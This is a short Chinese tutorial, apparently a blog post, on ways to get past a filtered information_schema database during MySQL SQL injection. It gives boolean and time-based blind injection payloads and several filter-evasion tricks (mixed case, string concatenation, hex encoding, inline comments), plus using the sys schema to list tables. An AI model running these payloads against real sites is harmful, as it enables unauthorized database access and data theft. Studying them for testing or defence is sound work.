绕过information_schema库的一些方式

information_schema库的意义:

该数据库mysql其实是个信息数据库,保存着mysql服务器所维护的所有其他数据库信息,所以里面包含了数据库名,表名,字段名等,因此,information_schema 的重要性就在这三点上了,而如果information_schema库被过滤掉了,就只能通过其他方式来处理了。

绕过方式:

1、使用盲注猜测信息:

可以使用布尔盲注、时间盲注,对数据库信息进行猜测(因为是猜测,所以可能需要大量尝试,所以推荐使用脚本解决)

布尔盲注

复制代码
' and ascii(substr(database(), 1, 1))=97 --

时间盲注:

复制代码
 ' AND IF(SUBSTR(database(),1,1)='a', SLEEP(0.5), 0) -- 

2、尝试混淆源信息:

  • 修改大小写(我不看好)

    复制代码
    iNformaTIOn_schEma
  • 使用字符串进行拼接:

    复制代码
     concat('in','formation_schema')
  • 将其转换为16进制:

    复制代码
    696e666f726d6174696f6e5f736368656d61
  • 使用内连注释:

    复制代码
    SELECT table_name FROM /*!information_schema*/.tables WHERE table_schema=DATABASE();

3、使用其他库:

  • 使用sys数据库(5.7以上)

    sql 复制代码
    SELECT table_name FROM sys.schema_auto_increment_columns;      --获取所有表名	
相关推荐
金士镧(厦门)新材料有限公司17 分钟前
稀土化合物:未来科技的隐藏推动力
科技·安全·全文检索
华硕广东6 小时前
怎么才能去定义自己的生活呢?
科技·安全·技术美术
脚踏实地的大梦想家7 小时前
【Go】P19 Go语言并发编程核心(三):从 Channel 安全到互斥锁
开发语言·安全·golang
qyresearch_7 小时前
全球生物识别加密U盘市场:安全需求驱动增长,技术迭代重塑格局
网络·安全
std78799 小时前
ISO 26262: 1~12部分,是汽车功能安全的国际标准,适用于道路车辆中的电气/电子系统。该标准分为12个部分,涵盖功能安全管理的全生命周期
安全·汽车
GIS数据转换器9 小时前
2025无人机在电力交通中的应用实践
运维·人工智能·物联网·安全·无人机·1024程序员节
李白你好10 小时前
日常运营提升效率 | 快速检索漏洞名称、问题描述、风险分析以及安全建议
安全
久违 °11 小时前
【安全开发】Nuclei源码分析-任务执行流程(三)
安全·网络安全·go
white-persist12 小时前
汇编代码详细解释:汇编语言如何转化为对应的C语言,怎么转化为对应的C代码?
java·c语言·前端·网络·汇编·安全·网络安全
newxtc13 小时前
【辽宁政务服务网-注册_登录安全分析报告】
运维·selenium·安全·政务·安全爆破